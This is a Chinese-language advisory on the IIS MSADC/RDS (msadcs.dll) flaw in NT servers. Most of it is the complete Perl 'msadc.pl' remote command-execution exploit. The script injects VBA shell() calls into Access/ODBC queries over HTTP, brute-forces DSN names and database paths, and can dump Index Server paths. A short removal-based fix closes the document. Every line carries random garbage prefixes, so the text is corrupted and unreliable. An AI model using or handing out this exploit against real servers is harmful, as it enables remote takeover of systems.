IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
0{j] p^'< +ZEj(fd9 涉及程序：
Ro`9Ibqr Microsoft NT server
yf*^Y74 h W6og)x 描述：
,8nu%zcVn 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
|?hN l2m F$7>q'# 详细：
i<l_z& 如果你没有时间读详细内容的话，就删除:
x}$SB%9/ c:\Program Files\Common Files\System\Msadc\msadcs.dll
V6B`q;lA 有关的安全问题就没有了。
k*d0ws#<l @k>}h\w 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
%{WS7(si 9}p? h1NrY 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
Eq=~S O% 关于利用ODBC远程漏洞的描述，请参看:
O Z3iH% -/Pg[Lx7Pb http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm c"Dd w'?e $n\{6Rwb 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
OOn{Wp http://www.microsoft.com/security/bulletins/MS99-025faq.asp ov*?[Y7 |~ U}<5%"!; 这里不再论述。
E*'sk sygxV 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
d
_ )5Ks} a, i
k=g /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
%wWJVq}jx 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
:rd{y`59>& gQMcQV]C$ ^<4 9NUB> #将下面这段保存为txt文件，然后: "perl -x 文件名"
Jd?N5. kVR_?ch{ #!perl
`>-fU<Q1 #
]-h;gN # MSADC/RDS 'usage' (aka exploit) script
oJb${ k<3 #
u0 myB/` # by rain.forest.puppy
RC'4%++Nz #
2wLnRP` * # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
/.P9n9 # beta test and find errors!
9.u}<m 4zyN>f| use Socket; use Getopt::Std;
OGW,[k= 2{ getopts("e:vd:h:XR", \%args);
A!B: vJ /9T .]H ~ print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
_ )-t #Ve fUj[E0yOF if (!defined $args{h} && !defined $args{R}) {
dt&m YSZ} print qq~
(7Su{tq Usage: msadc.pl -h <host> { -d <delay> -X -v }
P /i{_r -h <host> = host you want to scan (ip or domain)
hOZ:r =% -d <seconds> = delay between calls, default 1 second
O*0%AjT6 -X = dump Index Server path table, if available
c\A
4-08 -v = verbose
\PReQ|[ah -e = external dictionary file for step 5
+~xY} 'u@,,FFz[K Or a -R will resume a command session
gQ90> P: >NLG"[\ ~; exit;}
rlxZ,]ul w5fVug/;P $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
hOFC 8 g if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
O0^m_ if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
)Y 4 ;@pEU if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
W]Bc7JM]T+ $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
#g W"k;7P if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
8/W(jVO(- pmda9V4 if (!defined $args{R}){ $ret = &has_msadc;
DO*rVs3'p[ die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
M3q%(!2 kU :ge print "Please type the NT commandline you want to run (cmd /c assumed):\n"
tofX.oi+C$ . "cmd /c ";
4eVQO%&2 $in=<STDIN>; chomp $in;
[B~*88T $command="cmd /c " . $in ;
de7
\ ~$ +4L]Z ;k if (defined $args{R}) {&load; exit;}
#a I(fQZe m\zCHX#n print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
xER-TT #S &try_btcustmr;
|"]#jx*8KC {Kh^)oYdd print "\nStep 2: Trying to make our own DSN...";
Fnqj ^5 &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
z)tULnR8 ;|qbz]t2( print "\nStep 3: Trying known DSNs...";
~jz!jF~I &known_dsn;
gXJtk; 2i9FzpC 3 print "\nStep 4: Trying known .mdbs...";
V .w
L &known_mdb;
jk (tw -B ?+)>JvWDz if (defined $args{e}){
r+TvC{ print "\nStep 5: Trying dictionary of DSN names...";
aH/8&.JLi &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
;Mw<{X- Ms<v81z5T print "Sorry Charley...maybe next time?\n";
J:Mn 5hdK= exit;
>c`r&W.t h2jrO9 ##############################################################################
M!i ["($_ M r-l sub sendraw { # ripped and modded from whisker
P5Bva sleep($delay); # it's a DoS on the server! At least on mine...
pTB1 I3=.u my ($pstr)=@_;
,
wXixf2 socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
H 0( .p'eN die("Socket problems\n");
E!A+J63zsw if(connect(S,pack "SnA4x8",2,80,$target)){
B,V:Qs6" select(S); $|=1;
>o:y.2yCe print $pstr; my @in=<S>;
KWS \ iu select(STDOUT); close(S);
HIGTo\]Z return @in;
8u%rh[g' } else { die("Can't connect...\n"); }}
mUan(iJ *""iXi[ ##############################################################################
:|\[a0ZL
Cl 6P,C sub make_header { # make the HTTP request
q}P UwN6 my $msadc=<<EOT
mX/'Fta POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
OYyF*F&S[ User-Agent: ACTIVEDATA
C5,\DdCX, Host: $ip
HXm &` Content-Length: $clen
3>>Ca;>$ Connection: Keep-Alive
KzZfpdI92 n\GN}?4 ADCClientVersion:01.06
x)R1a q Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
DX0#q # b.q /?
Y x --!ADM!ROX!YOUR!WORLD!
{K N7Y"AI Content-Type: application/x-varg
&>n:7 Content-Length: $reqlen
\J(kevX g& ou[_A EOT
/Qu<>#[? ; $msadc=~s/\n/\r\n/g;
L,yq'>*5s return $msadc;}
5{gv \S1 }wB!Bx2 ##############################################################################
\zh`z/=92 : ]JMsa6 sub make_req { # make the RDS request
! FVD_8 my ($switch, $p1, $p2)=@_;
RD6>\9 my $req=""; my $t1, $t2, $query, $dsn;
/ H?) qk yxtfyf|9 ' if ($switch==1){ # this is the btcustmr.mdb query
I!"/ I8Y $query="Select * from Customers where City=" . make_shell();
!eHQe 7_ $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
i"0*)$
h W $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
lSfPOx ;* =}" P;4: elsif ($switch==2){ # this is general make table query
!a4`SjOgu $query="create table AZZ (B int, C varchar(10))";
')T*cL Q>< $dsn="$p1";}
]`q]\EH y*Gq VA [ elsif ($switch==3){ # this is general exploit table query
^S`N\X $query="select * from AZZ where C=" . make_shell();
mg< v9# $dsn="$p1";}
d};[^q6X 9ec>#Vxx elsif ($switch==4){ # attempt to hork file info from index server
z57q | $query="select path from scope()";
Z ,-J
tl $dsn="Provider=MSIDXS;";}
UGxF}Q %CZGV7JdA elsif ($switch==5){ # bad query
ai<K 6) $query="select";
e6>[Z C $dsn="$p1";}
y1h3Ch>Y D W >O]\I $t1= make_unicode($query);
hWiHKR] $t2= make_unicode($dsn);
e<{waJ1 $req = "\x02\x00\x03\x00";
aA
-j $req.= "\x08\x00" . pack ("S1", length($t1));
?e%u[ Q0 $req.= "\x00\x00" . $t1 ;
8M0<:p/ $req.= "\x08\x00" . pack ("S1", length($t2));
29nMm>P.e $req.= "\x00\x00" . $t2 ;
Mr*CJgy $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
SBaTbY0 return $req;}
]5Q)mWF CD.
XZA[ ##############################################################################
wHZ(=z/q E#A}2|7,g sub make_shell { # this makes the shell() statement
[s+FX5' K return "'|shell(\"$command\")|'";}
:j#zn~7 *Z+U}QhHD6 ##############################################################################
,
{}S<^?] u/CR7Y sub make_unicode { # quick little function to convert to unicode
T2A74>Nw my ($in)=@_; my $out;
8 .& P4u i for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
e< G[!m return $out;}
= eR#]d Ax 4R$P.]u ##############################################################################
T-\q3X|y/ v+i==vxg sub rdo_success { # checks for RDO return success (this is kludge)
/eBcPu"[Vb my (@in) = @_; my $base=content_start(@in);
? <w[ZWytm if($in[$base]=~/multipart\/mixed/){
aI;fNy /K return 1 if( $in[$base+10]=~/^\x09\x00/ );}
t]{, 7.S return 0;}
|RBL5,t^ a# Uk:O! ##############################################################################
C,8@V` #^_7i)=~ sub make_dsn { # this makes a DSN for us
F ~e}=Nb my @drives=("c","d","e","f");
XM 3~] print "\nMaking DSN: ";
(SCZ.G(> foreach $drive (@drives) {
@.=2*e.z|b print "$drive: ";
H?
%I((+ my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
bo??9 1B^7 "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
djn< Oc` . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
t Kjk< $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
uG/b Cb+V return 0 if $2 eq "404"; # not found/doesn't exist
;xSlRTNT=6 if($2 eq "200") {
ug/P>0 foreach $line (@results) {
Ko!a`I2M} return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
% C)|fDwN } return 0;}
;[7# h8 cef :>>6_ ##############################################################################
'N&s$XB, F)50 6 sub verify_exists {
SbobXTbG my ($page)=@_;
?i\$U'2*z3 my @results=sendraw("GET $page HTTP/1.0\n\n");
}5d|y* return $results[0];}
"/x/]Qx2 Of
nN ##############################################################################
m:g%5' qDZ :U faMe5 sub try_btcustmr {
V.!z9AQ my @drives=("c","d","e","f");
m~@Lt~LZs my @dirs=("winnt","winnt35","winnt351","win","windows");
G&yF9s)Lvs ^J@
Xsl foreach $dir (@dirs) {
;?gR ,AKZ print "$dir -> "; # fun status so you can see progress
G[ q <P foreach $drive (@drives) {
'<wZe.Q! print "$drive: "; # ditto
kqCUr|M.P $reqlen=length( make_req(1,$drive,$dir) ) - 28;
m.U&O=] 5 $reqlenlen=length( "$reqlen" );
V^\b"1X7N $clen= 206 + $reqlenlen + $reqlen;
/b {Ufo3 v i;67< f}- my @results=sendraw(make_header() . make_req(1,$drive,$dir));
=I $:-[( if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
G)=+Nt\ * else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
^56#{~%^? >SS97 9 ##############################################################################
1! R:}r3t QjsN7h&% sub odbc_error {
p S!N<;OWr my (@in)=@_; my $base;
b~+\\, q} my $base = content_start(@in);
F '55BY*! if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
([ hd $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
|H8UT S X+ $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
r+n hm"9 $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
=V^8 RlBi return $in[$base+4].$in[$base+5].$in[$base+6];}
0[s<!k9= print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
D|8h^*Ya print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
z.:IUm{z $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
U}W7[f lc C 2?p>S/q ##############################################################################
h-@_.&P0e z"! =A}i sub verbose {
B 3eNvUFZg my ($in)=@_;
L_AQS9a^D return if !$verbose;
c`V~?]I> print STDOUT "\n$in\n";}
M'xG.' 3UGdXufw ##############################################################################
p|=0EWo4U 1c $iW>0K sub save {
-PH qD my ($p1, $p2, $p3, $p4)=@_;
U&6f:IV open(OUT, ">rds.save") || print "Problem saving parameters...\n";
%[m%QP1;p print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
":Pfi!9Wl close OUT;}
ePI)~ x{{ZV] ##############################################################################
Va\?"dH>M LYS[qLpf sub load {
28 o!>* my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
O:X|/g0Y open(IN,"<rds.save") || die("Couldn't open rds.save\n");
}/z\%Y @p=<IN>; close(IN);
wk6tdY{&s $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
u=B,i #>s $target= inet_aton($ip) || die("inet_aton problems");
4Bq4d.0 print "Resuming to $ip ...";
.w~zW*M0 $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
OSCe TkR if($p[1]==1) {
MtK5>mhZI` $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
-MeO|HWm $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
nB , &m& my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
JZ0u/x5 if (rdo_success(@results)){print "Success!\n";}
9/50+2F else { print "failed\n"; verbose(odbc_error(@results));}}
?;Ge/~QU5 elsif ($p[1]==3){
yl~ h
`b4 if(run_query("$p[3]")){
$g)X,iQu print "Success!\n";} else { print "failed\n"; }}
qgs Kbsl elsif ($p[1]==4){
a.g:yWL\ if(run_query($drvst . "$p[3]")){
-\fn \n
print "Success!\n"; } else { print "failed\n"; }}
}MV=t7x 9+ exit;}
T8J[B( )L V:
ivnx* ##############################################################################
,xIWyI. 3.I:`>;EO sub create_table {
s& WHKCb my ($in)=@_;
R LbxNn $reqlen=length( make_req(2,$in,"") ) - 28;
$.r: $reqlenlen=length( "$reqlen" );
.cm$*>LW:x $clen= 206 + $reqlenlen + $reqlen;
#3J n_Y%P. my @results=sendraw(make_header() . make_req(2,$in,""));
4O3-PU>N return 1 if rdo_success(@results);
g R)
)K) my $temp= odbc_error(@results); verbose($temp);
54,
( ; return 1 if $temp=~/Table 'AZZ' already exists/;
n>I
N J return 0;}
xn 4-^2 hlTM<E ##############################################################################
_cH 7lO[ c*x5t"{ sub known_dsn {
626 !6E;T # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
(SYSw%v$A my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
<f`G@ "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
- AxO1
qO "banner", "banners", "ads", "ADCDemo", "ADCTest");
[O(8iz v <lwkjt=RV foreach $dSn (@dsns) {
khtSZ"8X print ".";
WT>2eMK[ next if (!is_access("DSN=$dSn"));
K Z SvT{ if(create_table("DSN=$dSn")){
[ !#<nY/C print "$dSn successful\n";
QWV12t$v if(run_query("DSN=$dSn")){
B>M @ ' print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
Q{+&3KXH print "Something's borked. Use verbose next time\n";}}} print "\n";}
<Xr {1M D J.QFrIB{]+ ##############################################################################
DJf!{:b) 'rQ>Z A_8 sub is_access {
')>&:~ my ($in)=@_;
%2D9]L2Up $reqlen=length( make_req(5,$in,"") ) - 28;
=%V(n{7= $reqlenlen=length( "$reqlen" );
$,~D-~- $clen= 206 + $reqlenlen + $reqlen;
&*N;yW""f my @results=sendraw(make_header() . make_req(5,$in,""));
F"Y .'m y8 my $temp= odbc_error(@results);
Sq,x57- verbose($temp); return 1 if ($temp=~/Microsoft Access/);
Cl5l+I\1 return 0;}
&I$MV5)u ("B[P/ ##############################################################################
WD7IF+v qx~-(|s`H sub run_query {
>FabmIcC my ($in)=@_;
K`?", G?_ $reqlen=length( make_req(3,$in,"") ) - 28;
Q-}yZ $reqlenlen=length( "$reqlen" );
{"uLV{d $clen= 206 + $reqlenlen + $reqlen;
%nfa U~IqK my @results=sendraw(make_header() . make_req(3,$in,""));
kq kj.# u return 1 if rdo_success(@results);
V>&WZY my $temp= odbc_error(@results); verbose($temp);
d}t7bgk'j return 0;}
k*3F7']8 ~SRK}5E ##############################################################################
3,<$z1Jm vC9Qe
]f sub known_mdb {
$ RDwy)9 my @drives=("c","d","e","f","g");
x2 bKFJ>e@ my @dirs=("winnt","winnt35","winnt351","win","windows");
JXIxk"m my $dir, $drive, $mdb;
$ kA'9Y my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
i/%+x-# -6OgM} # this is sparse, because I don't know of many
V94eUmx>?+ my @sysmdbs=( "\\catroot\\icatalog.mdb",
A+&^As2 "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
9=J+5V^qD< "\\system32\\certmdb.mdb",
[Cx'a7KWL "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
L zW8)<N 0//?,'. my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
K *_ 5M "\\cfusion\\cfapps\\forums\\forums_.mdb",
m ["`Op4 "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
V_T.#"C4=z "\\cfusion\\cfapps\\security\\realm_.mdb",
n@)Kf
A)& "\\cfusion\\cfapps\\security\\data\\realm.mdb",
zMf . "\\cfusion\\database\\cfexamples.mdb",
vO#=]J8` "\\cfusion\\database\\cfsnippets.mdb",
D!-
78h "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
dC7YVs_,# "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
$-}a<UFE; "\\cfusion\\brighttiger\\database\\cleam.mdb",
.m] "lH* "\\cfusion\\database\\smpolicy.mdb",
Oist>A$Z "\\cfusion\\database\cypress.mdb",
S}Q/CT ?au "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
VM1`:1Z:$ "\\website\\cgi-win\\dbsample.mdb",
U$fh ~w<[ "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
q`l% NE "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
dp3>G2Yq ); #these are just
W/3,vf1 foreach $drive (@drives) {
7 )`U%}R foreach $dir (@dirs){
k e
sg ]K foreach $mdb (@sysmdbs) {
ur,!-t(~t print ".";
{WE1^&Vk-} if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
s^{hdCCl67 print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
9BJP|L%q if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
PE~umY] print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
3:Mq4 0]x } else { print "Something's borked. Use verbose next time\n"; }}}}}
w@&4dau _bi]Bpxf foreach $drive (@drives) {
%8_bh8g- foreach $mdb (@mdbs) {
*oC],4y~D print ".";
xV_,R'l if(create_table($drv . $drive . $dir . $mdb)){
f.%mp$~T print "\n" . $drive . $dir . $mdb . " successful\n";
.>Gnb2
if(run_query($drv . $drive . $dir . $mdb)){
LX
[ _6 print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
BB?vc( d } else { print "Something's borked. Use verbose next time\n"; }}}}
*ydkx \pT }
7<<- \7` 5,I|beM ##############################################################################
[\ M$a|K x +=zG4Hm sub hork_idx {
4;]<#u print "\nAttempting to dump Index Server tables...\n";
1Vl RdDg print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
4$);x/
a $reqlen=length( make_req(4,"","") ) - 28;
WU wH W $reqlenlen=length( "$reqlen" );
}9k/Y/. $clen= 206 + $reqlenlen + $reqlen;
4&}V3"lg my @results=sendraw2(make_header() . make_req(4,"",""));
H] 6i1j if (rdo_success(@results)){
2qw -: my $max=@results; my $c; my %d;
Tq\S-K}4! for($c=19; $c<$max; $c++){
Fgf5OHX $results[$c]=~s/\x00//g;
9w^ lRbn $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
3C,G~)=
x $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
-|ho
8alF $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
cmLGMlF T $d{"$1$2"}="";}
raWs6b4 Q foreach $c (keys %d){ print "$c\n"; }
^PnXnH? } else {print "Index server doesn't seem to be installed.\n"; }}
r\OunGUP WIe7> wkC ##############################################################################
cBZK t 4GA9oL l sub dsn_dict {
$>PXX32 open(IN, "<$args{e}") || die("Can't open external dictionary\n");
qqL :#]lV5 while(<IN>){
5s=Z A*(sY $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
CFm(
yFk next if (!is_access("DSN=$dSn"));
q&/<~R C* if(create_table("DSN=$dSn")){
>UUcKq1M: print "$dSn successful\n";
pO ^PkX if(run_query("DSN=$dSn")){
Tz\ PQ)! print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
64 )Fz} print "Something's borked. Use verbose next time\n";}}}
?ztI8 I/ print "\n"; close(IN);}
BB x359 XX85]49`% ##############################################################################
BGtr= &Hq B6N/nCvHK sub sendraw2 { # ripped and modded from whisker
n{d0}N = sleep($delay); # it's a DoS on the server! At least on mine...
# 41xzN my ($pstr)=@_;
^#|Sl D] socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
$pK lF0 . die("Socket problems\n");
UZ5O%SF if(connect(S,pack "SnA4x8",2,80,$target)){
skd3E4 print "Connected. Getting data";
Q[j'FtP% open(OUT,">raw.out"); my @in;
e -!6m #0 select(S); $|=1; print $pstr;
`D44I;e^1; while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
WH>= *\ close(OUT); select(STDOUT); close(S); return @in;
~4 ~c+^PF } else { die("Can't connect...\n"); }}
TY."?` [FK 7L %JCH#F ##############################################################################
Nl 4,c[$C y:Wq;xEiDo sub content_start { # this will take in the server headers
~[_u@8l!mN my (@in)=@_; my $c;
{7k Jj(Ue for ($c=1;$c<500;$c++) {
fH-fEMyW if($in[$c] =~/^\x0d\x0a/){
\#
p@ef if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
9nM_L V else { return $c+1; }}}
/|<Pn!}J return -1;} # it should never get here actually
,Wv@D"4? |/qwR~ ##############################################################################
?z
hw0 `fnU p- sub funky {
{\ 1:2UKkr my (@in)=@_; my $error=odbc_error(@in);
X#ZQpo'h if($error=~/ADO could not find the specified provider/){
b< dwf[ print "\nServer returned an ADO miscofiguration message\nAborting.\n";
', WnT: exit;}
"QKCZ8 _C if($error=~/A Handler is required/){
og`rsl print "\nServer has custom handler filters (they most likely are patched)\n";
&$$o=Y g, exit;}
Fy;
sVB if($error=~/specified Handler has denied Access/){
ww}4
print "\nServer has custom handler filters (they most likely are patched)\n";
t5| }0ID- exit;}}
S/itK3 - w{`/ ##############################################################################
y*G3dWb UmR\2
cs sub has_msadc {
`rLcJcW my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
%O69A$Q[m my $base=content_start(@results);
Wbq0K6X return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
5*O*p `Ba return 0;}
NmuzAZr 5@lVuMIYT ########################
Y>/T+ub (-no`j 5}3#l/ 解决方案：
P<%}!Y 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
W\c1Q Y$E 2、移除web 目录: /msadc
